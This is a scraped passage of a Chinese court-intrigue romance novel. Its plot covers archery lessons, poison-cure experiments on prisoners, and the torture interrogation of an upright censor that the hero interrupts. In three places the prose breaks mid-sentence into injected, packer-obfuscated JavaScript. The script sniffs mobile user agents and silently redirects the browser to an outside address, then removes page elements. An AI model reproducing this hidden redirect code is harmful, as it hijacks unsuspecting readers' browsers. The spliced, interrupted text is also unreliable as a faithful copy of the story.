李兆缓缓转头,只见历铮抱臂站在不远处,目光危险。 他缓缓拭去额上冷汗,想自己好歹是个王爷,于是挺直腰杆,强自镇定道:“七七七七七弟!我还有事,先走了!” 然后提起过长的袍服,朝着与历铮相反的方向快步离开了。 历铮看着李兆的背影,表情阴沉,用尽全力才忍住不去把他揪住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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历铮坐到她对面,自顾自的开口:"那老王妃请我阿姐过去,当众对李兆用了家法,让他对着我阿姐行礼道歉,要他亲自请我阿姐搬回主屋。不仅如此,老王妃还说,以后,我阿姐才是王府的当家主母,打理王府中馈。" 云归玉:"哦。" 历铮一直看着她:"老王妃还说,是你的一席话,点醒了她。" 云归玉嗤笑一声。 什么点醒,不过是被抓住了把柄,不得不做而已。 历铮:“你是怎么做到的?” 云归玉冷哼,道:"自然是使了些手段。" 她斜了历铮一眼,补了一句:"不过历七公子这般光明磊落之人,大抵看不上我这等不太光彩手段。" 历铮郑重道:"不论你用了什么手段,这次,我都要谢谢你。" 云归玉这才给了他一个正眼:"光说不做?" 历铮见她终于理人了,不自觉眉目舒展,道:"郡主有什么想要的,尽管说,只要我能做到,一定万死不辞。" 云归玉想说,那我要历家当皇后党,你愿不愿? 却知此时提这事,必然无济于事。 还不如想点实际的,于她有益处的。 可除了历家的支持以外,她也不并缺什么。 历铮见她犹豫不定,问道:"郡主可会骑射?若是不会,我来教郡主可好?" 云归玉眼睛微亮。 这倒是不错。大楚历来尚武,不少官家女子也都会骑射。可她进京后不久便当了宫女,虽也学了不少东西,唯有这骑射,从未接触。毕竟在后宫中,皇后可以教她琴棋书画,却没那个机会教她骑马射箭。 云归玉颔首:"那我便给你个机会,做我云归玉的老师。" 历铮胸有成竹地微笑,道:"定教你成为大楚第一女骑士和女射手!" “所以你刚才为什么生气?”云归玉这时才问出自己疑惑许久的问题。 历铮一愣:“什么时候?” 云归玉:“我从老王妃那出来,你看到我和李兆在花圃的时候。” 历铮表情一僵:“……” 14. 吃醋 历铮:“……没生气。” 云归玉忽然靠近历铮,瞧着他的神色,笃定道:“你有。” 历铮见她靠过来,本想下意识往后靠,却又不知为何没动,任由她的脸颊凑过来。如兰香气萦绕,云归玉的脸近在咫尺,睫毛根根分明,眼睛定定地瞧着他,好似得不到答案就不会移开似的。 他微微移目,却被云归玉轻掐下巴晃了晃:“连死都不怕的七公子,难道会怕说一句实话?” 历铮看着她不知是故意还是无意放在他脸上的手,忽而笑了,坦荡道:“我见你和李兆说说笑笑,有些不爽。” 话音方落,云归玉便放开了他的下巴,身体后撤,想要拉开距离,却没能撤开。有人手臂环到她身后,两指并拢,按住了她的后脖颈,不叫她退开。 冰凉指腹触上她的皮肤,激起一阵细小的鸡皮疙瘩,就听那罪魁祸首道:“郡主为何不问,你与李兆说笑,我因何不爽?” 云归玉推开他的手臂,解救了自己的后脖颈,身体退后,直到轻触车壁,才道:“无非是你厌恶李兆,所以见任何人和他说话都会不爽罢了。” 方才打破砂锅问到底的是她,这会儿不知为何,她自己反倒开始避重就轻了。 历铮闲适地撑了撑额头,道:“若我说,还有几分原因是,你是我历铮的妻子呢?” 你是我的妻子,不该和别的男子走的那般近。 云归玉听懂了他的未尽之意,却是冷笑一声:“七公子莫不是忘了你我的约定,我们只是表面夫妻,莫要管得太宽了。” 历铮啧了一声,舌尖抵了抵口腔左侧的犬牙尖,不大高兴。 最先不顾约定的人,究竟是谁?又是束发又是送饭又是接他下衙的,举止上总是有意无意撩拨他,方才在言语上也步步紧逼。 只不过在他坦荡相告之后,她自己却先莫名退缩了,现如今还在这里倒打一耙。 但他将云归玉的反应咂摸一番后,又欣然舒展了眉目。 他知道,云归玉先前那一番似捉弄似撩拨的小动作乃是别有用心,或许最大的可能就是为了让他动心,让他爱上她,心甘情愿让历家的势力为皇后所用。 可有的人看似风月老手,实则是一张白纸。 方才的她,不过是用冷硬的态度,来掩盖自己的不知所措。那种逃避的神色和行为显然是下意识的,而非欲擒故纵。 不知为何,历铮感到胸中忽地滋生出一缕油然而生的喜悦。 这种喜悦让他不再计较她“恶人”先告状的事情,只道:“下次休沐,我教你骑射,郡主可莫要忘记把时空出来。” 云归玉见他从眉头轻皱到勾唇轻笑,虽觉莫名其妙,但也松了一口气,应下:“自然,七公子的谢礼,我必是日日翘首以盼的。” 话虽如此,但接下来几日,无论是云归玉还是历铮,都没再提教授骑射这事。 除了每日仍旧点卯似的去送饭和接历铮下衙外,云归玉几乎都待在城郊一处木屋里。 此木屋搭在绝壁之下,前有溪流,后有乱葬岗,必经之处上还有遍布陷阱的一片竹林,十分隐秘。 云归玉此刻就在这木屋之中,垂眼看着床上躺着的昏迷之人。 这人嘴唇青紫,是中毒之症,而这毒,便是她亲手所下。 历铮的毒,她已有了一定的头绪,那便是以毒攻毒,以蛊食毒。 有些蛊虫以毒为食,若是能把蛊虫放进人体内,然后让蛊虫去把毒素吞食,或许便可以清除毒素。 这是她的设想,在用在历铮身上之前,她自是要先用别人试试。 一只青色的小虫子在她手指上爬绕,她将指尖放在了那人的耳边,“进去吧。” 见蛊虫顺着那人耳洞爬了进去,云归玉坐在桌边,一手运功控蛊,让蛊虫在那人体内游走,一手拿了本医书翻看。 说来好笑,她一个毒女,如今都快成半个医女了。 不知过了多久,床上终于传来了动静。 云归玉放下书,来到床边。 只见那人双眼紧闭,喉中溢出呻吟,表情扭曲而痛苦。 她神色漠然,控蛊的那只手仍旧运着功,而后两指并拢一勾,默念:“出!” 没过多久,先前放入的蛊虫从另一只耳朵的洞口爬了出来,原本青色的身体已经变成了黑紫色,它在那人体内游走,已然吞了不少毒素。 而床上那人嘴唇上的黑紫色也有所消退,渐渐平静下来,不再痛吟。 云归玉眉头略微舒展。 只是她还没来得及提起嘴角,便见那人嘴角溢出鲜血,云归玉瞳孔一缩,迅速摸上他的脉搏,脉息渐缓,最后归于停止。 云归玉站了起来,眼底一片冷然。 在这人之前,她已试了不少人,十次里面仅有四五人能成功祛毒,剩下的,尽皆魂归西方。 这些人本就是在逃钦犯,他们的命在她这里,并不值钱。 可不知为何,云归玉忽然想到了一个问题。 那便是—— 哪怕最后这法子真的可行,她想办法将把握提到八九成,可历铮又凭何信她? 别说信她,若是历铮知道她找人试药,以他的性子,怕是还会指责她草菅人命。 云归玉忽然就有些没兴致了。 比起“信任”那种虚无缥缈的东西,她还是更相信威逼利诱,手里没有筹码,别人凭什么听你的? 以己度人一番,她觉得历铮也同样如此,必不会信她。 那她这些天到底在忙什么?忙着做无用功吗? 云归玉皱了皱眉,转身出门,撂下一句:“将尸体处理干净。” 她离开后,隐在暗处的一名死士现身,将床上尸体拖走。 *** 回历府时,正近午时,往日她总要借着送饭去刑部府衙搅扰历铮一番,今日却没什么兴致,正想吩咐碧溪去,却忽而记起,今日,似乎是历铮的休沐日。 这一下,她便紧接着想起历铮曾说过,休沐日要教她骑射,结果现在天色已过半,连个人影都没见。 呵。 男人的嘴。 云归玉来到了历铮平日练兵器的地方。 此地十分宽阔,兵器架上摆着十八般武器,样样齐全,那夜她和历铮比武,便是在此处。 她想,谁说射箭一定要有人教才能学会呢? 无非是利用弓弦的弹性将箭弹出去罢了,要义也莫过于力气和准头二词,又有何难? 弓架上各式弓箭排列,从中间到两边,弓长由大到小,弓柄由粗到细。 最中间的那柄长有三尺,棕红色的弓身,在日照下泛着灼灼光华。 这显然不是她能拿的动的,于是云归玉退而求其次,选择了旁边那柄。 她抬起右手,欲将弓拿了下来,未料那弓甫一离开弓架,重量一显,她便一个没抓稳,手中的弓便直接“哐啷”一声掉在了地上。 云归玉:“……” 看来还是高估自己了。 她蹲下身,正要双手合力将弓捡起,便听一旁有人轻笑,那声音近在耳畔,低沉悦耳,又带着点少年的阳光,极富特色,叫她一听就知道它的主人是谁。 地上多出一人的影子,将她的覆盖住,那横躺着的弓便被人捷足先登。 她抬眼,见历铮拎起那弓,轻巧地把它扔回了原位,扬眉问她:“想练箭?怎么不等我。” 云归玉缓缓起身,淡声道:“等你?我怎知会不会要等到天黑?阁下别的不说,看笑话倒是及时。” 话落,她才注意到历铮的左手拿着一绸布包着的长条形物件,眉梢微动。 历铮听到“阁下”这莫名其妙的称呼,微一琢磨,便明白了她为何不高兴。 “我是去为你取弓了,这才耽搁了些时辰,”他将左手的物件横陈,拆开绸布,露出里面的东西,“这个才适合你。” 云归玉垂眸一看,那是一把二尺长的弓,通体银白,清盈似雪,光莹如玉,弓柄处刻有小字,以银汁浇筑,乃是“清雪”二字。 历铮:“这可是为师精心设计,亲自画图纸,又托京城最好的工匠昼夜赶工打造出来的。” 云归玉不客气地拿起这把弓,发现重量刚好,她左手就能拿住。 “既是谢礼,便没有叫我拜师的道理,七公子可别乱用称呼。” “好吧,那为夫现在可以教你射箭了吗?” 云归玉心情很好地摸着手中新到手的弓,扬了扬下巴,示意他可以开始了。 历铮单手拿起弓架正中那把麒麟弓,拉了拉弦,便从架上箭筒中抽出一支长箭,搭在弓弦之上。 “双脚分立,与肩同宽,”他瞄向最远的那处箭靶,将弓弦后拉,将近满月,“前肩下沉,手臂发力,屏息凝神,而后……一击即中。” 话音方落,他手指一松,利箭离弦而去,快如闪电,只听远处“咄”的一声,那支箭正中红心,穿靶而过,直到射入更远处的树干上,方才停歇。 他转头看她,眼中如同盛着细碎日光,颇有些炫耀意味地道:“如何?” 自是百步穿杨的好手。 但云归玉见不得他这么洋洋得意,只道:“勉强够资格来教本郡主。” 这话虽不是直白的称赞,却更让历铮高兴,他指了指最近的箭靶,扬眉道:“试试。” 云归玉学着他的姿势,左手拿弓,右手搭箭,缓缓向后拉弦,忽然感觉一双手搭上了自己的肩背。 “肩部再沉一些,”历铮手轻轻下压,帮她调整姿势,引导她手臂后拉,“上臂和肩部一起用力,不要只是手腕和下臂用力。” 弦崩到极致,历铮轻声道:“放。” 云归玉耳朵微动,倏然放手,箭出如风,钉在了不远处的箭靶上。 历铮拍了拍手,夸赞道:“第一次就能够上靶,已经很有天赋了。” 云归玉见那箭位在箭靶边缘,离靶心尚有距离,问:“你第一次如何?” 历铮一顿,有点骄傲,又有点无奈道:“自是靶心,你不能和我比啊,郡主。” 他们历氏子弟,多多少少都有那么些天赋在的。 云归玉冷哼一声。 不再言语,而是专注于射靶,一支又一支。 历铮见状,也不打扰她,而是也拿了箭筒,在一旁练箭。 在历铮的箭靶中心已经插满了箭时,他放下手中的弓,转头去看云归玉。 他看到她眼神专注,额角一滴汗液划下时,手中箭出。 云归玉第一次射中了靶心。 历铮赞道:“厉害!” 云归玉不语,只是抽箭,将箭尖对准了更远的一处箭靶。 历铮见她从肩到臂再到手指,都在轻微发抖,摇摇头,上前一步,将手搭在她的臂上,“已经两个时辰了,你不饿吗?” 云归玉没觉得有多饿,也没觉得累,她随意道:“不饿,你要是饿了,就先去用午膳。” 历铮坚定而缓慢地压下她的手臂,道:“我一人用膳有什么意思,夫人随我一起,用完膳,今日便不练箭了,我教你骑马。” 云归玉没拗过他,顺着他的力道放下了手,这才感到力软筋麻,酸痛无比,她忍着揉肩的冲动,强作淡然道:“便依你而言吧。” 历铮一笑,看出她的强撑,倒不点破,只是边走边帮她捏肩。 云归玉: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921300|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 午膳后,历铮带云归玉来到了历府的马厩,旁边便有一跑马场,虽然不大,但供一两人策马却是绰绰有余。 马厩里,一排排高大骏马排列,其中有一间最为宽敞。 云归玉一眼认出,那是历铮去紫洛园那日骑的那匹,名唤“雪稚”。 这匹马高大健壮,确是良驹。 京城对马匹数量管控严格,规定家养私马每户不可过十,而历府却可到二十之数,是皇帝对历家的优待。 云归玉眼神巡视一圈,指着离雪稚最远的一间马棚,那里立着一匹毛坯黑亮、鬃毛茂密的骏马,道:“我就要它了。” “郡主好眼光。”历铮目光赞赏,“墨燚确实是除了雪稚之外,最好的马。” 他对马仆道:“带墨燚去佩鞍。” 很快,马仆引着配好马鞍马镫的墨燚,来到了云归玉的面前。 云归玉见马身上佩着两套马鞍和马镫,轻笑一声,没等历铮说话,便左脚踩上马镫,双手拉着缰绳往上一拾,而后右腿跨上马鞍,整个人已经高高坐于马上。 她虽然不会骑马,可是看过别人上马的姿势很多回,照猫画虎也能像模像样。 历铮:“不错,很利落的上马。” 说着也上了马,坐在了云归玉的身后。 他一上来,云归玉便感受到了身后那温热的躯体。 她微微有些不适应,往前动了动。 “别动,再动你要坐到马鞍前面去了。” 云归玉便不动了。 历铮抓住较长的那根缰绳,道:“我先带你跑一圈。” 他一扯缰绳:“驾!” 墨燚拔足跑了起来,很快便提起了速度,云归玉紧紧抓住缰绳,身体止不住地往上,好几次都觉得自己要被颠出去了,却又往往是虚惊一场。 历铮像是察觉出了她的窘迫,于是单手扯缰,腾出左手来轻轻揽住了她的腰。 “郡主,得罪了。” “若是觉得冒犯,我便放手。” 云归玉没有说话。 两畔飞速略过的景色,耳边呼啸的风声,让她感到一阵爽快,直到历铮放慢马速的时候,她还有些意犹未尽。 历铮放下了缰绳,道:“这次,由你来控缰,只有你控不住时,我才会出手。” 云归玉点头,一扯缰绳,喝一声:“驾!” 墨燚一步未动,懒懒地打了个响鼻。 云归玉:? 历铮见她一脸疑惑,眼睛都瞪圆了些许,有些平日无缘得见的可爱,没忍住愉悦地笑出了声。 云归玉眼神谴责。 历铮笑够了,才道:“马是很聪明的,它知道你是生手,便会对你产生轻视。你需要让它知道,你有能力驾驭它。” 哦,懂了,马也是会看人下菜碟的。 云归玉垂眸,摸了摸墨燚的鬃毛,轻声说了句什么。 然后历铮就惊讶地发现,墨燚竟然开始任由云归玉驱使了。 “墨燚的性格可没那么好,你竟这么快就能叫它听话。郡主,你在驭马一道上,比我都有天赋。” 历铮想起她养在府里的那一堆动物,又不觉奇怪了。 可能有的人就是天生讨动物喜欢吧。 云归玉不语,只是在心中自嘲一笑。 *** 一月后,京城后山。 二人骑马并肩而立。 云归玉问:“今天要教什么?” 历铮:“你已经在府中练骑射许久,如今也算弓马娴熟。今日,便来看看你能否出师。” 他指了指密林深处,又望了望天空,道:“虎和鹰都是顶级的猎物,如你今日能列到其一,便可出师了。” 云归玉想起那日他于狼口救她,三箭皆中。 她顿时来了兴趣,点点头,骑马向着深山行去。 历铮也不急着追赶她,只徐徐跟在不远处。 两个时辰过去,云归玉猎了一只野兔,一只山鹿,甚至还有一只蛇。 但就是没见一只老虎。 云归玉放缓策马的速度,细心聆听,忽而捕捉到一声细微的虎啸。 她眼神一厉,驱马向着闻声处行去,竟是来到了山边。 往下一看,那老虎在闪腰处,正追着一樵夫。那樵夫惊慌失措,扔了背篓里的柴木,连滚带爬地往山下跑,那老虎却不紧不慢地跟在身后,宛如狸奴戏鼠。 云归玉抬起了弓,缓缓拉弦。 弦拉到了满月,她却迟迟不肯放箭。 这个距离,太远了。 她不确定自己能不能射中。 “放手吧。”历铮不知何时已到了她身边,“别担心,有我在。” 云归玉闭了闭眼,利落松手。 那箭射在了老虎的屁股上。 没能一击毙命,反而激怒了老虎,它厉声一吼,四肢猛然用力,朝着前方的猎物疾扑而去。 樵夫感受到身后的温热吐息,纵然恐惧万分,却没忍住转头往后看了一眼,就这一瞬,他便被扑倒在地。 只见那大虫张开血盆大口,尖利的牙齿上涎液流淌,仿佛要一口咬烂他的脑袋。 樵夫绝望地闭上了双眼。 想象中的剧痛却并没有到来,只听见了“噗”的一个声音,仿佛近在咫尺。 他睁开了眼睛,映入眼帘的,是滴血的箭尖。 有人一剑封喉,从虎口中救下了它。 山岭高处,历铮放下弓,问:“感觉如何?” 云归玉一愣:“什么?” 历铮望向下方,从老虎身下爬出来,四处张望的那个樵夫,道:“救人的感觉,如何?” 15. 分歧犹在 云归玉和他一起,望向那个死里逃生的樵夫。 他寻找了一会儿,什么也没发现,于是便连忙跑下山了。 云归玉抿了抿唇,道:“没什么感觉。何况,人是你救的,不是我。” 她那一箭未能杀虎,反而激怒了猛兽,若非历铮及时补的那一箭,那樵夫必然命丧虎口。 历铮:“你将箭对准老虎的一刻,就代表你已经想救人了。” 云归玉觉得他有些莫名其妙,心中莫名泛起一丝烦躁,道:“你究竟想说什么?” 历铮叹了口气,道:“我是想说,你也有一颗救人之心,别总把自己想的太坏。” 云归玉淡淡道:“你想多了,我只是想出师而已。” 她策马回身,“天色已晚,走了。” 历铮瞧着她的背影,无奈一笑,骑马跟了上去。 二人回了府,等在门口的侍从将雪稚与墨燚牵回马厩。 云归玉一进门,便见朝叔前来禀告:“世子,夫人,贵客来访,是宫里人,来找夫人。” 云归玉一顿,点点头,去了前厅,便见一衣着华贵,气质上乘,作宫女打扮的女子立在堂上。 是皇后身边的大宫女,锦萱姑姑。 锦宣见云归玉过来,行礼道:“郡主殿下。” 云归玉抬手扶起她,“姑姑久等,来此找我,可是有何要事?” 锦萱摇摇头:“皇后娘娘许久未见您,思女心切,便叫奴婢过来传话,邀您进宫一叙。” 云归玉才恍然惊觉,她已经许久没有去宫里找皇后了。 “姑姑稍等,容我沐浴更衣后,便与你一道进宫。” 沐浴更衣后回了房间,云归玉眼睛扫过看到了架子上摆放的精致华美的盒子,脚步一顿。 是那日花船宴她赢回来的披风。 她本想着第二日便亲自进宫献给皇后,可那晚碰上寒毒发作,又被历铮给的一晚上的内力给打蒙了,满脑子想着还人情,于是头脑发热地跟着历铮去看了历家五娘,这一打岔,她便忘了。 而后又是找人试祛毒之法,又是跟着历铮学了一个月的骑射,竟是把送披风的事抛在脑后,半点都没想起来。 吩咐碧溪拿好这份礼物,云归玉带着碧溪,与锦萱姑姑一起,坐上了去皇宫的车轿。 皇宫,云鸾殿。 “娘娘,这是我之前偶然看到的,觉得很适合你,便买下来了。”在云归玉的眼神示意下,碧溪打开手中木盒,跪在地上,恭敬地呈上。 皇后用手轻轻拂过那件披风,笑意盈盈道:“真好看,不过,这真的是阿玉买下来的吗?” 云归玉抬起头来,心下微微诧异。 皇后示意宫人将披风拿出来,服侍她穿上,一边道:“本宫听说前不久的花船宴上,就有这么一件披风。” 云归玉不再隐瞒,实话道:“是,的确是花船宴上赢下的,娘娘慧眼。” 她并不奇怪皇后知道花船宴,但她诧异的是皇后连花船宴上的头彩是什么都知道。 这岂非说明,皇后除了她以外,在宫外还有其他消息来源,并且……对她有所监视? 她知道,这其实无可厚非,对于皇后来说,消息渠道自然是越广越好。 可是,她很难不怀疑,皇后是否同时也用那渠道防备着她? 母亲难道,已经不再全然信任她了吗? “玉儿,好看吗?” 云归玉骤然回神,才发现皇后已经将那披风披上,珠翠明朗,衬得她越发雍容华贵。 “母……” 她想要真心夸赞一句“母亲当然好看”,却忽然意识到这里还有其他人,于是及时改口:“母仪天下,气态雍容。皇后娘娘穿上这披风,才能最好地展示出它的价值。” “锦萱。”皇后使了个眼色。 锦萱会意,带着一众宫女退了下去。 “阿玉就会讨我开心,”皇后摸摸肚子,叹道:“就是不知道,这小子生出来后,能不能有你一半贴心。” 云归玉扯了扯嘴角,不是很想搭这个腔。 每当皇后用那样温柔的眼神看着腹部的时候,她的内心其实都会涌上一股烦躁。 她知道,那或许叫做“嫉妒”。嫉妒这个生命还未现世,就已经拥有母亲如此多的关注。 “阿玉,你回门那日匆匆一别,我们母女二人已数日未见,还没问你,这些日子你在历府过得可还舒适?那历铮可有轻慢于你?”皇后拉着她一起坐到了榻上。 云归玉:“我在历府很好,母亲不必担忧。” “那就好。”皇后温柔地注视着她,又说了许多关心的话,云归玉却不知为何,一个字都没听进去,直到最后听到:“阿玉,有件事,母亲需要你帮忙。” “刑部大牢有个硬骨头,需要你去撬开他的嘴。” 云归玉知道,这才是正题。 她向来不会拒绝皇后的请求,只是这次,她提了个要求:“母亲,可否把他从刑部提到大理寺?我想在大理寺审他。” 皇后:“为何?” “历铮在刑部任职,那人性子想必母亲也有所耳闻,若我在刑部审他,恐遭阻挠。” 其实除了担心被阻挠这个原因之外,她不知为何,竟是不想教他知晓,她在干这种事情。 皇后点点头,“好,今天夜里,便会有人把他提到大理寺。阿玉,今晚就宿在宫里陪陪母亲吧。” 云归玉点头应是。 *** 翌日,云归玉收拾齐整,出了云鸾殿门,轻轻舒了一口长气。她以前从未觉得过,与母亲共处一室,竟是这样累的一件事。 她出了宫,打发碧溪先回历府后,坐上了马车,行于小道上,往大理寺而去。 半个时辰后,她来到了大理寺的地牢。 昏暗窄道上,璧上烛火忽明忽暗,前方刑讯处,鞭子打在皮肉上的声音,混着人的惨叫,传入她的耳朵。 她缓缓迈步,在刑讯室门前停住。 狱卒们见到她连忙停止审讯,恭敬行礼。 云归玉看向那被绑缚在刑架上,皮开肉绽,形容狼狈的人。 她认得他。 郑岐丰,御史台十八御史之首,一双铁嘴在朝堂上无往不利,曾经舌战群臣,与十数人激辩而立于不败之地,也唯有他一人,敢对皇帝直言进谏,若说忠武王历山苍是大楚的定海神针,那郑岐丰便是斩妖神剑,专斩朝堂中的妖魔鬼怪。 而如今,他这柄剑生了锈上了锁,有人要将他折断,要他再无用武之地。 云归玉打眼一扫,便知此处刑具已在这人身上用了大半,她言简意赅,问:“没招?” 狱卒道:“回郡主,他实在嘴硬,我们想尽办法,他还是一口咬定自己清清白白,从未触犯任何律法。” 云归玉靠近犯人,手指微动。 还能嘴硬,不过是还不够痛苦罢了。 皇后让她来,也无非是要她给于他极致的痛苦。 “老师?” 一片安静中,地响起一声压抑的惊呼。 云归玉手指一顿,看着来人,缓缓皱起了眉。 “你怎么进来的?” 她视线移向历铮的身后,大理寺少卿宁昭默然静立。 宁家,一直都是皇后党。 只是……她才想起,这人,她好像在婚宴上也见过。 是历铮的朋友。 历铮立在牢门外,双手微颤,“这不重要。重要的是,郡主,你接下来打算做什么?” 云归玉和宁昭对视一眼,她道:“历公子来探监,今日审讯暂时就到这里。” 而后带着一众狱卒离开,只留下历铮一人。 “老师!” 历铮快步走到郑岐丰的身边,把他从型架上放下,撑住他摇摇欲坠的身体,他骨瘦如柴,已被折磨得不成样子。 郑岐丰动了动唇,发出的声音喑哑难听,如碎瓷刮地:“那时我就说过了,我担不起你一声老师。” 历铮默然片刻,喉头略有哽咽,轻声道:“一日为师,终身为师。” 他少时进京,曾找过很多老师。 郑岐丰年是官位最低,科举名第最差的一个。 他在教他的第七日,便向他请辞:“在下惭愧。以公子之才,我已教不了你什么了。” 郑岐丰离开那日,他看到他衣袍上遍布补丁,虽用颜色相近的布料,不甚明显,可历铮还是一眼看出来了。 于是他后来遣人送去了一件新衣裳,却在当天就被退了回来,还捎来一封信,信上写道:“无功不受禄。” 说起来,他和郑岐丰其实只有七日的师生之缘,后来的交集也极少。 可他却总能在不同的地方看到郑岐丰的身影。 比如某次大寒之冬,他行于路上,偶见墙角冻骨,便走过去,欲将身上锦裘披给那人,却被郑岐丰抢先一步,给了那人热气腾腾的馒头。 而后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933522|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没等他,便径自离开。 他走近,看到地上写着一行字: “匹夫无罪,怀壁其罪,汝欲其死乎?” 他看了眼自己身上的锦裘:至少可值十金。 忽而明白,这十金于他来说不算什么,却可能给躺着的这人招来杀身之祸。 最终他去摊贩上买东西,换来几个铜板给那人。 比如有一年万合县突发瘟疫,京城人心惶惶,皇帝下令封闭宫城皇城,满朝文武无一人肯去治理瘟疫,唯有郑岐丰挺身而出。 历铮当时也悄悄的去了万合县,见那人亲力亲为,竭尽所能去照顾患病的官民,明明自己也没什么家资,却全部拿出来赈济百姓。 后来瘟疫结束,郑岐丰自己却病倒了。 历铮曾听人谈起过,郑岐丰的名字是他务农的母亲取的,本意是祈求丰年,可他母亲不识字,错把岐途的岐当成祈求的祈。 他后来自己识字了,却不愿意改掉那个字。 “身体发肤受之父母,名字也是一样,不可舍弃。” 这是一个古板、教条,却又实实在在践行着圣人之言的人。 人间若无圣,他凭何不可称圣? 历铮一直打心底里,尊敬着这位老师。 “老师,你既无罪,也没有被屈打成招,大理寺没有理由再关你,你很快就会被放出来的!我先去找人来给你治病。” 郑岐丰不语,只是闭上眼睛,深深地叹了一口气。 *** 离开地牢后,云归玉并没有在大理寺等待,而是径自回了历府。 留在那里,若是历铮与她争吵,难免叫外人看了笑话。 今日刑讯被历铮阻止,也不知什么时候能完成皇后交代的任务。 不知过了多久,她听到了一声马嘶。 是历铮回来了。 云归玉坐在后堂亭中,静静地等待着,不一会儿,便见他眼眶微红,缓步走来。 她开口:“来找我兴师问罪吗,夫君?还是说,我该叫你,侍郎大人?” “怎么敢问郡主殿下的罪,不是向来只有殿下问别人罪的份吗?”历铮摇摇头,扯了扯嘴角,露出个无喜无悲的笑来。 听到他这不阴不阳的语气,云归玉正要反唇相讥,却听他再度启唇,轻声问:“是皇后叫你做的,你不是自愿的,对吗?” 云归玉的话就这么卡在了喉咙里。 他非但没有厉声质问,还为她找起了借口,却比直接与她争吵更叫人烦躁。 她早说了,她不是什么好人。 以前不是,现在也不是。她绝不会因为那日射箭差点救了一个樵夫,就以为自己是什么好人了。 可他为何不信? 又为何要露出一副痛心又失望的表情? 云归玉嗤笑一声:“我当然是自愿的。我不愿做的事,你以为,又有谁能强迫我呢?” “那……你能不能,”历铮顿了顿,“不要再做这种事?” 云归玉听不懂似的反问:“哪种事?大理寺审讯犯人,不是职责所在吗?” “可我老师没罪!”历铮终于露出了他一直死死压抑着的,本该喷薄而出的怒意,“你们分明是要屈打成招!” 云归玉神色冷漠,道:“天下乌鸦一般黑,身处朝堂,有谁能说自己是清清白白的?” 朝廷之中,哪个不是和光同尘?大楚官员,哪个没干过点坏事? 刑讯,不过是叫他们把本就犯的罪说出来罢了。 历铮:“可若我老师他,就是那万中无一的白鸽呢?你们如此逼他,不就是让无辜之人冤死吗?” 云归玉沉默半晌,闭了闭眼,复又睁开,最终道:“我答应你,暂时不去插手,若三日后,郑岐丰仍未招供,我便信你所言。” 说罢,她话锋一转,问道:“你还没回答我,你为何会出现在大理寺,你跟踪我?” 历铮安静了几息,叹了一口气,道:“你离开时答应过我要早点回来,却一夜未归,也没让人带个信什么的。” “我不过是……”历铮自嘲一笑,“有些担心你罢了。” 因为担心她,所以一早便去打听她的踪迹,本来并无消息,却在途中却接到了宁昭的秘密传信,这才有了他们在大理寺地牢的那番撞见。 他不再言语,转身离开。 云归玉一愣。 她张了张口,却没说出话来,只能默然看着历铮逐渐远去的背影。 16. 共登高台 “既然告了假,你不回家去陪你那郡主媳妇儿,跑到我这里来做什么?” “来也就来了,也不喝酒也不下棋,就坐那发呆?” 孟煊喝了一口酒,摇着扇子瞥向对面一言不发的历铮。 历铮回过神来,伸手要去拿酒杯。 结果被孟煊伸出扇子拦住,说:“你那破身体,喝什么酒?老实喝你的养生茶。” 历铮也没坚持,倒了杯茶润了润嗓子,沉声道:“我老师被大理寺抓了。” “你老师?哪一个?” “……郑岐丰。”历铮道,“那日在朝上,皇帝说想要为灵光寺修一座新佛塔,命户部和工部去办,老师出言劝谏,言语有些犀利,皇帝当时反应平平,只说再议,我便也没想太多,后来我才知道,原来当晚老师就被秘密逮捕下狱。” “他啊,那便不奇怪了。他说话那般难听,皇帝能容他到现在,已经很令人惊讶了。而既然下狱,说明皇帝已经不再想忍他了。”孟煊展扇轻摇,眼中蕴着几分事不关己的凉薄,“你想救他,怕是没那么容易。” 刚则易折,郑岐丰其人,过于锋芒毕露,不开口则已,一开口就毫不留情地数落皇帝,也不懂得和光同尘的道理,与同僚关系奇差,一旦有倾覆之势,便是墙倒众人推。除了历铮这种侠义心泛滥的人,怕是没几个人会对他伸出援手。 他在百姓中倒是名声极好,可黔首们又怎么能救得了他呢? “总要试试,他是我老师。”历铮道:“况且他若是不在了,朝堂上怕是再也没有一个敢对皇帝说真话的人了。” 他已托大理寺的朋友照看老师,也想了办法请朝中大臣去为老师求情。 何况身为御史,出言劝谏本就是老师职责所在,有何罪过?若是最直接定罪,于律法不合,所以才会刑讯逼供,想要老师供出其他罪责来。 只要老师不被屈打成招,没有证据,无法定罪,也只能放人。 “你这爱管闲事的毛病,迟早害了自己。”孟煊摇头叹息,又仔细端详了一会儿他的神色,将扇“啪”地一合,笃定道:“不对,除了郑岐丰之事,你一定还有别的心事,快从实招来。” “我和一个……朋友,”见瞒他不过,历铮斟酌着开口,“昨日吵架了。” 孟煊顿时来了精神,看热闹不嫌事大地说:“你还会和朋友吵架呢?这人是谁?我认识吗?” 